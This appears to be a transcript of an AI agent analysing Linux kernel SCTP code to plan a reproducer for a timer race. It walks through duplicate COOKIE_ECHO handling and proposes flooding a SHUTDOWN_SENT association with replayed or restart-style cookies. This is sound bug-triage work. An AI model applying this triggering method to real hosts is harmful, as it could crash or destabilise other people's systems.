net/sctp/sm_statetable.c-723-	TYPE_SCTP_FUNC(sctp_sf_ignore_other), \
--
net/sctp/sm_statetable.c-740-	TYPE_SCTP_FUNC(sctp_sf_cookie_wait_icmp_abort), \
net/sctp/sm_statetable.c:741:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-742-	TYPE_SCTP_FUNC(sctp_sf_ignore_other), \
--
net/sctp/sm_statetable.c=756=other_event_table[SCTP_NUM_OTHER_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-765-	TYPE_SCTP_FUNC(sctp_sf_bug), \
net/sctp/sm_statetable.c:766:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-767-	TYPE_SCTP_FUNC(sctp_sf_bug), \
--
net/sctp/sm_statetable.c-784-	TYPE_SCTP_FUNC(sctp_sf_bug), \
net/sctp/sm_statetable.c:785:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-786-	TYPE_SCTP_FUNC(sctp_sf_t1_cookie_timer_expire), \
--
net/sctp/sm_statetable.c-803-	TYPE_SCTP_FUNC(sctp_sf_t1_init_timer_expire), \
net/sctp/sm_statetable.c:804:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-805-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
--
net/sctp/sm_statetable.c-822-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
net/sctp/sm_statetable.c:823:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-824-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
--
net/sctp/sm_statetable.c-841-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
net/sctp/sm_statetable.c:842:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-843-	TYPE_SCTP_FUNC(sctp_sf_do_6_3_3_rtx), \
--
net/sctp/sm_statetable.c-860-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
net/sctp/sm_statetable.c:861:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-862-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
--
net/sctp/sm_statetable.c-879-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
net/sctp/sm_statetable.c:880:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-881-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
--
net/sctp/sm_statetable.c-898-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
net/sctp/sm_statetable.c:899:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-900-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
--
net/sctp/sm_statetable.c-917-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
net/sctp/sm_statetable.c:918:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-919-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
--
net/sctp/sm_statetable.c-936-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
net/sctp/sm_statetable.c:937:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-938-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
--
net/sctp/sm_statetable.c-955-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
net/sctp/sm_statetable.c:956:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-957-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
--
net/sctp/sm_statetable.c-974-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
net/sctp/sm_statetable.c:975:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-976-	TYPE_SCTP_FUNC(sctp_sf_timer_ignore), \
]

gemini-3.1-pro-preview

							input: 17084
							output: 54
							thoughts: 114
						

**My Thought Process Regarding SCTP State Management and Duplicate COOKIE_ECHO Handling**

My initial focus was on understanding the SCTP state machine, specifically the `SCTP_STATE_SHUTDOWN_SENT` state. I was looking to confirm that this was the correct state to be in for certain operations, implying a need to verify its characteristics and the expected behavior within it.

My next step was to investigate the handling of `COOKIE_ECHO` messages when the SCTP stack is in the `SCTP_STATE_SHUTDOWN_SENT` state. This suggests I was trying to trace the flow of control and data packets during a specific phase of the SCTP connection lifecycle.

However, upon reviewing some feedback or logs, I encountered an issue: "flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state." This immediately alerted me to a potential bug or unexpected behavior. The description of "flooding duplicate" indicates an excessive and erroneous transmission of these packets, leading me to believe there's a problem with how the state machine is managing `COOKIE_ECHO` messages during shutdown.

To diagnose this, I've pinpointed the relevant function to examine: `sctp_sf_do_5_2_4_dupcook` located in the `net/sctp/sm_statefuns.c` file. My intention is to delve into the source code of this specific function to understand its logic. I hypothesize that this function is either directly responsible for handling duplicate `COOKIE_ECHO` packets in the `SHUTDOWN_SENT` state, or it's involved in the process that leads to this problematic flooding. By analyzing `sctp_sf_do_5_2_4_dupcook`, I aim to identify the root cause of the excessive duplicate `COOKIE_ECHO` transmissions and formulate a solution.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_5_2_4_dupcook]

map[SourceCode:2208:	/*
2209:	 * Handle a duplicate COOKIE-ECHO.  This usually means a cookie-carrying
2210:	 * chunk was retransmitted and then delayed in the network.
2211:	 *
2212:	 * Section: 5.2.4 Handle a COOKIE ECHO when a TCB exists
2213:	 *
2214:	 * Verification Tag: None.  Do cookie validation.
2215:	 *
2216:	 * Inputs
2217:	 * (endpoint, asoc, chunk)
2218:	 *
2219:	 * Outputs
2220:	 * (asoc, reply_msg, msg_up, timers, counters)
2221:	 *
2222:	 * The return value is the disposition of the chunk.
2223:	 */
2224:	enum sctp_disposition sctp_sf_do_5_2_4_dupcook(
2225:						struct net *net,
2226:						const struct sctp_endpoint *ep,
2227:						const struct sctp_association *asoc,
2228:						const union sctp_subtype type,
2229:						void *arg,
2230:						struct sctp_cmd_seq *commands)
2231:	{
2232:		struct sctp_chunk *err_chk_p = NULL;
2233:		struct sctp_association *new_asoc;
2234:		struct sctp_init_chunk *peer_init;
2235:		struct sctp_chunk *chunk = arg;
2236:		enum sctp_disposition retval;
2237:		enum sctp_cid cid;
2238:		int error = 0;
2239:		char action;
2240:	
2241:		/* Make sure that the chunk has a valid length from the protocol
2242:		 * perspective.  In this case check to make sure we have at least
2243:		 * enough for the chunk header.  Cookie length verification is
2244:		 * done later.
2245:		 */
2246:		if (!sctp_chunk_length_valid(chunk, sizeof(struct sctp_chunkhdr))) {
2247:			if (!sctp_vtag_verify(chunk, asoc))
2248:				asoc = NULL;
2249:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg, commands);
2250:		}
2251:	
2252:		/* "Decode" the chunk.  We have no optional parameters so we
2253:		 * are in good shape.
2254:		 */
2255:		chunk->subh.cookie_hdr = (struct sctp_signed_cookie *)chunk->skb->data;
2256:		if (!pskb_pull(chunk->skb, ntohs(chunk->chunk_hdr->length) -
2257:						sizeof(struct sctp_chunkhdr)))
2258:			goto nomem;
2259:	
2260:		/* In RFC 2960 5.2.4 3, if both Verification Tags in the State Cookie
2261:		 * of a duplicate COOKIE ECHO match the Verification Tags of the
2262:		 * current association, consider the State Cookie valid even if
2263:		 * the lifespan is exceeded.
2264:		 */
2265:		new_asoc = sctp_unpack_cookie(ep, asoc, chunk, GFP_ATOMIC, &error,
2266:					      &err_chk_p);
2267:	
2268:		/* FIXME:
2269:		 * If the re-build failed, what is the proper error path
2270:		 * from here?
2271:		 *
2272:		 * [We should abort the association. --piggy]
2273:		 */
2274:		if (!new_asoc) {
2275:			/* FIXME: Several errors are possible.  A bad cookie should
2276:			 * be silently discarded, but think about logging it too.
2277:			 */
2278:			switch (error) {
2279:			case -SCTP_IERROR_NOMEM:
2280:				goto nomem;
2281:	
2282:			case -SCTP_IERROR_STALE_COOKIE:
2283:				sctp_send_stale_cookie_err(net, ep, asoc, chunk, commands,
2284:							   err_chk_p);
2285:				return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2286:			case -SCTP_IERROR_BAD_SIG:
2287:			default:
2288:				return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2289:			}
2290:		}
2291:	
2292:		/* Set temp so that it won't be added into hashtable */
2293:		new_asoc->temp = 1;
2294:	
2295:		/* Compare the tie_tag in cookie with the verification tag of
2296:		 * current association.
2297:		 */
2298:		action = sctp_tietags_compare(new_asoc, asoc);
2299:	
2300:		/* In cases C and E the association doesn't enter the ESTABLISHED
2301:		 * state, so there is no need to call security_sctp_assoc_request().
2302:		 */
2303:		switch (action) {
2304:		case 'A': /* Association restart. */
2305:		case 'B': /* Collision case B. */
2306:			peer_init = (struct sctp_init_chunk *)
2307:					(chunk->subh.cookie_hdr + 1);
2308:			cid = peer_init->chunk_hdr.type;
2309:			if (!sctp_sk(ep->base.sk)->cookie_auth_enable &&
2310:			    !sctp_verify_init(net, ep, asoc, cid, peer_init, chunk,
2311:					      &err_chk_p)) {
2312:				sctp_association_free(new_asoc);
2313:				if (err_chk_p)
2314:					sctp_chunk_free(err_chk_p);
2315:				return sctp_sf_pdiscard(net, ep, asoc, type, arg,
2316:							commands);
2317:			}
2318:			if (err_chk_p)
2319:				sctp_chunk_free(err_chk_p);
2320:			fallthrough;
2321:		case 'D': /* Collision case D. */
2322:			/* Update socket peer label if first association. */
2323:			if (security_sctp_assoc_request((struct sctp_association *)asoc,
2324:							chunk->head_skb ?: chunk->skb)) {
2325:				sctp_association_free(new_asoc);
2326:				return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2327:			}
2328:			break;
2329:		}
2330:	
2331:		switch (action) {
2332:		case 'A': /* Association restart. */
2333:			retval = sctp_sf_do_dupcook_a(net, ep, asoc, chunk, commands,
2334:						      new_asoc);
2335:			break;
2336:	
2337:		case 'B': /* Collision case B. */
2338:			retval = sctp_sf_do_dupcook_b(net, ep, asoc, chunk, commands,
2339:						      new_asoc);
2340:			break;
2341:	
2342:		case 'C': /* Collision case C. */
2343:			retval = sctp_sf_do_dupcook_c(net, ep, asoc, chunk, commands,
2344:						      new_asoc);
2345:			break;
2346:	
2347:		case 'D': /* Collision case D. */
2348:			retval = sctp_sf_do_dupcook_d(net, ep, asoc, chunk, commands,
2349:						      new_asoc);
2350:			break;
2351:	
2352:		default: /* Discard packet for all others. */
2353:			retval = sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2354:			break;
2355:		}
2356:	
2357:		/* Delete the temporary new association. */
2358:		sctp_add_cmd_sf(commands, SCTP_CMD_SET_ASOC, SCTP_ASOC(new_asoc));
2359:		sctp_add_cmd_sf(commands, SCTP_CMD_DELETE_TCB, SCTP_NULL());
2360:	
2361:		/* Restore association pointer to provide SCTP command interpreter
2362:		 * with a valid context in case it needs to manipulate
2363:		 * the queues */
2364:		sctp_add_cmd_sf(commands, SCTP_CMD_SET_ASOC,
2365:				 SCTP_ASOC((struct sctp_association *)asoc));
2366:	
2367:		return retval;
2368:	
2369:	nomem:
2370:		return SCTP_DISPOSITION_NOMEM;
2371:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 19936
							output: 50
							thoughts: 28
						

**My Thought Process Regarding Timer Management in SCTP**

Okay, so my current focus is on the reliability mechanisms within SCTP, specifically how duplicate acknowledgments (or "dupcooks" as the code might refer to them) are handled and, crucially, whether and when timers are initiated in these scenarios. My immediate instinct is to dive into functions like `sctp_sf_do_dupcook_a` and explore its immediate vicinity within the codebase. I need to understand the precise conditions under which timers are set. Is it a direct consequence of processing a duplicate acknowledgment, or is there a more complex interplay of state and conditions that leads to timer activation? I'm looking to trace the execution path to see if a timer start is a standard outcome of this function or if it's conditional on other factors, like the number of duplicate acknowledgments received, the state of the retransmission queue, or the current congestion window. This is fundamental to ensuring that retransmissions are properly managed and that the protocol remains robust in the face of packet loss.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_dupcook_a]

map[SourceCode:1877:	/* Unexpected COOKIE-ECHO handler for peer restart (Table 2, action 'A')
1878:	 *
1879:	 * Section 5.2.4
1880:	 *  A)  In this case, the peer may have restarted.
1881:	 */
1882:	static enum sctp_disposition sctp_sf_do_dupcook_a(
1883:						struct net *net,
1884:						const struct sctp_endpoint *ep,
1885:						const struct sctp_association *asoc,
1886:						struct sctp_chunk *chunk,
1887:						struct sctp_cmd_seq *commands,
1888:						struct sctp_association *new_asoc)
1889:	{
1890:		struct sctp_init_chunk *peer_init;
1891:		enum sctp_disposition disposition;
1892:		struct sctp_ulpevent *ev;
1893:		struct sctp_chunk *repl;
1894:		struct sctp_chunk *err;
1895:	
1896:		/* new_asoc is a brand-new association, so these are not yet
1897:		 * side effects--it is safe to run them here.
1898:		 */
1899:		peer_init = (struct sctp_init_chunk *)(chunk->subh.cookie_hdr + 1);
1900:		if (!sctp_process_init(new_asoc, chunk, sctp_source(chunk), peer_init,
1901:				       GFP_ATOMIC))
1902:			goto nomem;
1903:	
1904:		if (sctp_auth_asoc_init_active_key(new_asoc, GFP_ATOMIC))
1905:			goto nomem;
1906:	
1907:		if (!sctp_auth_chunk_verify(net, chunk, new_asoc))
1908:			return SCTP_DISPOSITION_DISCARD;
1909:	
1910:		/* Make sure no new addresses are being added during the
1911:		 * restart.  Though this is a pretty complicated attack
1912:		 * since you'd have to get inside the cookie.
1913:		 */
1914:		if (!sctp_sf_check_restart_addrs(new_asoc, asoc, chunk, commands))
1915:			return SCTP_DISPOSITION_CONSUME;
1916:	
1917:		/* If the endpoint is in the SHUTDOWN-ACK-SENT state and recognizes
1918:		 * the peer has restarted (Action A), it MUST NOT setup a new
1919:		 * association but instead resend the SHUTDOWN ACK and send an ERROR
1920:		 * chunk with a "Cookie Received while Shutting Down" error cause to
1921:		 * its peer.
1922:		*/
1923:		if (sctp_state(asoc, SHUTDOWN_ACK_SENT)) {
1924:			disposition = __sctp_sf_do_9_2_reshutack(net, ep, asoc,
1925:								 SCTP_ST_CHUNK(chunk->chunk_hdr->type),
1926:								 chunk, commands);
1927:			if (SCTP_DISPOSITION_NOMEM == disposition)
1928:				goto nomem;
1929:	
1930:			err = sctp_make_op_error(asoc, chunk,
1931:						 SCTP_ERROR_COOKIE_IN_SHUTDOWN,
1932:						 NULL, 0, 0);
1933:			if (err)
1934:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1935:						SCTP_CHUNK(err));
1936:	
1937:			return SCTP_DISPOSITION_CONSUME;
1938:		}
1939:	
1940:		/* For now, stop pending T3-rtx and SACK timers, fail any unsent/unacked
1941:		 * data. Consider the optional choice of resending of this data.
1942:		 */
1943:		sctp_add_cmd_sf(commands, SCTP_CMD_T3_RTX_TIMERS_STOP, SCTP_NULL());
1944:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
1945:				SCTP_TO(SCTP_EVENT_TIMEOUT_SACK));
1946:		sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_OUTQUEUE, SCTP_NULL());
1947:	
1948:		/* Stop pending T4-rto timer, teardown ASCONF queue, ASCONF-ACK queue
1949:		 * and ASCONF-ACK cache.
1950:		 */
1951:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
1952:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
1953:		sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_ASCONF_QUEUE, SCTP_NULL());
1954:	
1955:		/* Update the content of current association. */
1956:		if (sctp_sf_do_assoc_update((struct sctp_association *)asoc, new_asoc, commands))
1957:			goto nomem;
1958:	
1959:		repl = sctp_make_cookie_ack(asoc, chunk);
1960:		if (!repl)
1961:			goto nomem;
1962:	
1963:		/* Report association restart to upper layer. */
1964:		ev = sctp_ulpevent_make_assoc_change(asoc, 0, SCTP_RESTART, 0,
1965:						     asoc->c.sinit_num_ostreams,
1966:						     asoc->c.sinit_max_instreams,
1967:						     NULL, GFP_ATOMIC);
1968:		if (!ev)
1969:			goto nomem_ev;
1970:	
1971:		sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP, SCTP_ULPEVENT(ev));
1972:		if ((sctp_state(asoc, SHUTDOWN_PENDING) ||
1973:		     sctp_state(asoc, SHUTDOWN_SENT)) &&
1974:		    (sctp_sstate(asoc->base.sk, CLOSING) ||
1975:		     sock_flag(asoc->base.sk, SOCK_DEAD))) {
1976:			/* If the socket has been closed by user, don't
1977:			 * transition to ESTABLISHED. Instead trigger SHUTDOWN
1978:			 * bundled with COOKIE_ACK.
1979:			 */
1980:			sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
1981:			return sctp_sf_do_9_2_start_shutdown(net, ep, asoc,
1982:							     SCTP_ST_CHUNK(0), repl,
1983:							     commands);
1984:		} else {
1985:			sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
1986:					SCTP_STATE(SCTP_STATE_ESTABLISHED));
1987:			sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
1988:		}
1989:		return SCTP_DISPOSITION_CONSUME;
1990:	
1991:	nomem_ev:
1992:		sctp_chunk_free(repl);
1993:	nomem:
1994:		return SCTP_DISPOSITION_NOMEM;
1995:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 22206
							output: 46
							thoughts: 446
						

**The Nuances of SCTP Shutdown and Duplicate Cookie Echoes**

My thought process is currently focused on a specific scenario within the SCTP stack, involving the handling of duplicate `COOKIE_ECHO` messages during the shutdown process. I've identified a potential bug that arises from the interplay between the `SHUTDOWN_PENDING` and `SHUTDOWN_SENT` states, the `T2_SHUTDOWN` timer, and the socket's closed status.

It appears that in the function `sctp_sf_do_dupcook_a`, if the association is in either the `SHUTDOWN_PENDING` or `SHUTDOWN_SENT` state, and the socket has been closed, the code proceeds to call `sctp_sf_do_9_2_start_shutdown`. My analysis of `sctp_sf_do_9_2_start_shutdown` reveals that it unconditionally initiates the `T2_SHUTDOWN` timer by issuing an `SCTP_CMD_TIMER_START` command for `SCTP_EVENT_TIMEOUT_T2_SHUTDOWN`.

This is where my concern begins. If I'm in the `SHUTDOWN_SENT` state, it's because the `T2_SHUTDOWN` timer has already been started. So, when a duplicate `COOKIE_ECHO` arrives while the socket is closed and the association is in `SHUTDOWN_SENT`, the `sctp_sf_do_dupcook_a` function will be invoked. This, in turn, calls `sctp_sf_do_9_2_start_shutdown`, which then attempts to *restart* the `T2_SHUTDOWN` timer.

My understanding is that if the `T2_SHUTDOWN` timer is already pending, the `timer_pending(timer)` check should prevent actions like `sctp_association_hold(asoc)`. However, the subsequent call to `timer_reduce` introduces a critical race condition. If the `T2_SHUTDOWN` timer happens to expire at precisely the moment `timer_reduce` is executing, it could lead to an unexpected state or, more critically, the bug I'm trying to pinpoint.

The immediate question that arises is: how exactly can I trigger `sctp_sf_do_dupcook_a` in the first place? My research indicates that this function is specifically designed to handle duplicate `COOKIE_ECHO` messages when the `action` parameter is set to `'A'`, signifying an "Association restart." This "Association restart" action, in turn, is determined by the return value of `sctp_tietags_compare(new_asoc, asoc)`. Therefore, my next step is to delve into the logic of `sctp_tietags_compare` to understand the precise conditions under which it returns `'A'`, thereby setting the stage for this potentially problematic sequence of events.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_tietags_compare]

map[SourceCode:1484:	/*
1485:	 * Compare vtag/tietag values to determine unexpected COOKIE-ECHO
1486:	 * handling action.
1487:	 *
1488:	 * RFC 2960 5.2.4 Handle a COOKIE ECHO when a TCB exists.
1489:	 *
1490:	 * Returns value representing action to be taken.   These action values
1491:	 * correspond to Action/Description values in RFC 2960, Table 2.
1492:	 */
1493:	static char sctp_tietags_compare(struct sctp_association *new_asoc,
1494:					 const struct sctp_association *asoc)
1495:	{
1496:		/* In this case, the peer may have restarted.  */
1497:		if ((asoc->c.my_vtag != new_asoc->c.my_vtag) &&
1498:		    (asoc->c.peer_vtag != new_asoc->c.peer_vtag) &&
1499:		    (asoc->c.my_vtag == new_asoc->c.my_ttag) &&
1500:		    (asoc->c.peer_vtag == new_asoc->c.peer_ttag))
1501:			return 'A';
1502:	
1503:		/* Collision case B. */
1504:		if ((asoc->c.my_vtag == new_asoc->c.my_vtag) &&
1505:		    ((asoc->c.peer_vtag != new_asoc->c.peer_vtag) ||
1506:		     (0 == asoc->c.peer_vtag))) {
1507:			return 'B';
1508:		}
1509:	
1510:		/* Collision case D. */
1511:		if ((asoc->c.my_vtag == new_asoc->c.my_vtag) &&
1512:		    (asoc->c.peer_vtag == new_asoc->c.peer_vtag))
1513:			return 'D';
1514:	
1515:		/* Collision case C. */
1516:		if ((asoc->c.my_vtag != new_asoc->c.my_vtag) &&
1517:		    (asoc->c.peer_vtag == new_asoc->c.peer_vtag) &&
1518:		    (0 == new_asoc->c.my_ttag) &&
1519:		    (0 == new_asoc->c.peer_ttag))
1520:			return 'C';
1521:	
1522:		/* No match to any of the special cases; discard this packet. */
1523:		return 'E';
1524:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 23482
							output: 50
							thoughts: 319
						

**My Thought Process on Cookie Duplication in SCTP**

Okay, so my immediate goal here is to achieve a specific state, let's call it 'A', within the SCTP association. The conditions for reaching 'A' are laid out quite clearly:

*   The `my_vtag` of the existing association (`asoc`) must be different from the `my_vtag` of the new association (`new_asoc`).
*   Similarly, the `peer_vtag` of the existing association must differ from the `peer_vtag` of the new association.
*   Crucially, the `my_vtag` of the existing association *must* match the `my_ttag` of the new association.
*   And, the `peer_vtag` of the existing association *must* match the `peer_ttag` of the new association.

When I look at these conditions together, it strikes me that this pattern precisely describes what happens when a peer restarts. In such a scenario, the restarting peer will typically send an `INIT` message, and the previous association's vtags are essentially re-purposed as tie tags for this new `INIT`.

Now, here's where things get tricky. My instinct is to think about *generating* a valid cookie that satisfies these criteria. However, I quickly realize this is a dead end. Generating such a cookie from user space is fundamentally impossible because the cookie itself is digitally signed by the kernel using a secret key. I, as a user-space entity, don't have access to that key, so I can't forge a legitimate signature.

This brings me to a slightly different approach. What if I don't *generate* a new cookie, but instead *reuse* an existing one? My thought turns to raw sockets. If I were to use a raw socket, I might think I could bypass the kernel's signature checks and forge a cookie. But no, even with a raw socket, I still can't generate a *valid* signature without the secret key.

So, I pivot again. What if I simply *capture* a `COOKIE_ECHO` packet and then *replay* it? This seems promising. If I manage to capture a `COOKIE_ECHO` packet and then send it back, what would be the state of its vtags? They would be the *same* vtags that were present in the original `COOKIE_ECHO`.

This leads me to a critical realization: if I replay a captured `COOKIE_ECHO`, the `my_vtag` of the existing association will be identical to the `my_vtag` of the `new_asoc` (which would be derived from the replayed packet's vtags). Similarly, the `peer_vtag` will also be the same. This directly contradicts the first two conditions I identified for reaching state 'A' (`asoc->c.my_vtag != new_asoc->c.my_vtag` and `asoc->c.peer_vtag != new_asoc->c.peer_vtag`).

In fact, this scenario – where the vtags are the same – aligns perfectly with what's defined as "Collision case D". My next step is to investigate the `sctp_sf_do_dupcook_d` function to understand precisely how the system handles this specific type of cookie duplication. That's where the answer to my current problem likely lies.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_dupcook_d]

map[SourceCode:2104:	/* Unexpected COOKIE-ECHO handler lost chunk (Table 2, action 'D')
2105:	 *
2106:	 * Section 5.2.4
2107:	 *
2108:	 * D) When both local and remote tags match the endpoint should always
2109:	 *    enter the ESTABLISHED state, if it has not already done so.
2110:	 */
2111:	/* This case represents an initialization collision.  */
2112:	static enum sctp_disposition sctp_sf_do_dupcook_d(
2113:						struct net *net,
2114:						const struct sctp_endpoint *ep,
2115:						const struct sctp_association *asoc,
2116:						struct sctp_chunk *chunk,
2117:						struct sctp_cmd_seq *commands,
2118:						struct sctp_association *new_asoc)
2119:	{
2120:		struct sctp_ulpevent *ev = NULL, *ai_ev = NULL, *auth_ev = NULL;
2121:		struct sctp_chunk *repl;
2122:	
2123:		/* Clarification from Implementor's Guide:
2124:		 * D) When both local and remote tags match the endpoint should
2125:		 * enter the ESTABLISHED state, if it is in the COOKIE-ECHOED state.
2126:		 * It should stop any cookie timer that may be running and send
2127:		 * a COOKIE ACK.
2128:		 */
2129:	
2130:		if (!sctp_auth_chunk_verify(net, chunk, asoc))
2131:			return SCTP_DISPOSITION_DISCARD;
2132:	
2133:		/* Don't accidentally move back into established state. */
2134:		if (asoc->state < SCTP_STATE_ESTABLISHED) {
2135:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
2136:					SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
2137:			sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
2138:					SCTP_STATE(SCTP_STATE_ESTABLISHED));
2139:			SCTP_INC_STATS(net, SCTP_MIB_CURRESTAB);
2140:			sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_START,
2141:					SCTP_NULL());
2142:	
2143:			/* RFC 2960 5.1 Normal Establishment of an Association
2144:			 *
2145:			 * D) IMPLEMENTATION NOTE: An implementation may choose
2146:			 * to send the Communication Up notification to the
2147:			 * SCTP user upon reception of a valid COOKIE
2148:			 * ECHO chunk.
2149:			 */
2150:			ev = sctp_ulpevent_make_assoc_change(asoc, 0,
2151:						     SCTP_COMM_UP, 0,
2152:						     asoc->c.sinit_num_ostreams,
2153:						     asoc->c.sinit_max_instreams,
2154:						     NULL, GFP_ATOMIC);
2155:			if (!ev)
2156:				goto nomem;
2157:	
2158:			/* Sockets API Draft Section 5.3.1.6
2159:			 * When a peer sends a Adaptation Layer Indication parameter,
2160:			 * SCTP delivers this notification to inform the application
2161:			 * that of the peers requested adaptation layer.
2162:			 */
2163:			if (asoc->peer.adaptation_ind) {
2164:				ai_ev = sctp_ulpevent_make_adaptation_indication(asoc,
2165:									 GFP_ATOMIC);
2166:				if (!ai_ev)
2167:					goto nomem;
2168:	
2169:			}
2170:	
2171:			if (!asoc->peer.auth_capable) {
2172:				auth_ev = sctp_ulpevent_make_authkey(asoc, 0,
2173:								     SCTP_AUTH_NO_AUTH,
2174:								     GFP_ATOMIC);
2175:				if (!auth_ev)
2176:					goto nomem;
2177:			}
2178:		}
2179:	
2180:		repl = sctp_make_cookie_ack(asoc, chunk);
2181:		if (!repl)
2182:			goto nomem;
2183:	
2184:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
2185:	
2186:		if (ev)
2187:			sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP,
2188:					SCTP_ULPEVENT(ev));
2189:		if (ai_ev)
2190:			sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP,
2191:						SCTP_ULPEVENT(ai_ev));
2192:		if (auth_ev)
2193:			sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP,
2194:					SCTP_ULPEVENT(auth_ev));
2195:	
2196:		return SCTP_DISPOSITION_CONSUME;
2197:	
2198:	nomem:
2199:		if (auth_ev)
2200:			sctp_ulpevent_free(auth_ev);
2201:		if (ai_ev)
2202:			sctp_ulpevent_free(ai_ev);
2203:		if (ev)
2204:			sctp_ulpevent_free(ev);
2205:		return SCTP_DISPOSITION_NOMEM;
2206:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 25560
							output: 42
							thoughts: 782
						

**My Thought Process on Reproducing a Difficult SCTP Race Condition**

Okay, so I'm wrestling with this SCTP bug, and my initial thought about `sctp_sf_do_dupcook_d` not starting `T2_SHUTDOWN` seems like a dead end for triggering the crash. I’m wondering if I can just leverage the `T4_RTO` timer. I recall the previous reproducer attempted this, but it failed. The explanation for that failure is key: it’s a *super tight, non-deterministic race condition* within `sctp_cmd_interpreter`. To actually hit it reliably, the recommendation is to "flood the socket with events that trigger `SCTP_CMD_TIMER_START` on an already pending timer." Specifically, it suggests flooding with duplicate `COOKIE_ECHO` chunks while the SCTP stack is in the `SHUTDOWN_SENT` state.

This leads me to the immediate question: how do I flood with duplicate `COOKIE_ECHO` chunks when the server is in `SHUTDOWN_SENT`? My first idea is using a raw socket to capture a `COOKIE_ECHO` sent by the server and then replaying it. But then I realize, wait, `COOKIE_ECHO` is sent *by the client* to the server, not the other way around. The server receives it and typically transitions to `ESTABLISHED`. If the *server* is in `SHUTDOWN_SENT`, it means the server initiated the shutdown.

So, if the server is in `SHUTDOWN_SENT` and the *client* sends a duplicate `COOKIE_ECHO`... this is where things get interesting. A duplicate `COOKIE_ECHO` with the same vtags would fall under Collision case D, but again, `sctp_sf_do_dupcook_d` doesn't start `T2_SHUTDOWN`, so that still isn't the path.

What if the client restarts and sends a *new* `INIT`? The server would then respond with an `INIT_ACK` containing a fresh cookie. When the client sends its `COOKIE_ECHO` for this *new* handshake, and the server receives it, the client's vtags would be different from the previous session, but the server's tie tags might still match the old vtags. This sounds exactly like Collision case A! And the documentation confirms that in Collision case A, if the server is in `SHUTDOWN_SENT`, it *will* call `sctp_sf_do_9_2_start_shutdown`, which in turn starts `T2_SHUTDOWN`. This seems like the right track!

So, the steps to trigger Collision case A would be:
1. Establish a connection between the client and server.
2. Have the server initiate the shutdown process, putting it into `SHUTDOWN_SENT`.
3. Now, I need to simulate the client restarting. Ideally, this would involve the client sending a *new* `INIT` packet, rather than a clean shutdown or abort, to avoid disrupting the `SHUTDOWN_SENT` state on the server in an undesirable way. If the client simply closes its socket, it might send `ABORT` or `SHUTDOWN`, which isn't what I want. The idea is to have the client initiate a *new* connection attempt with the same endpoint addresses.

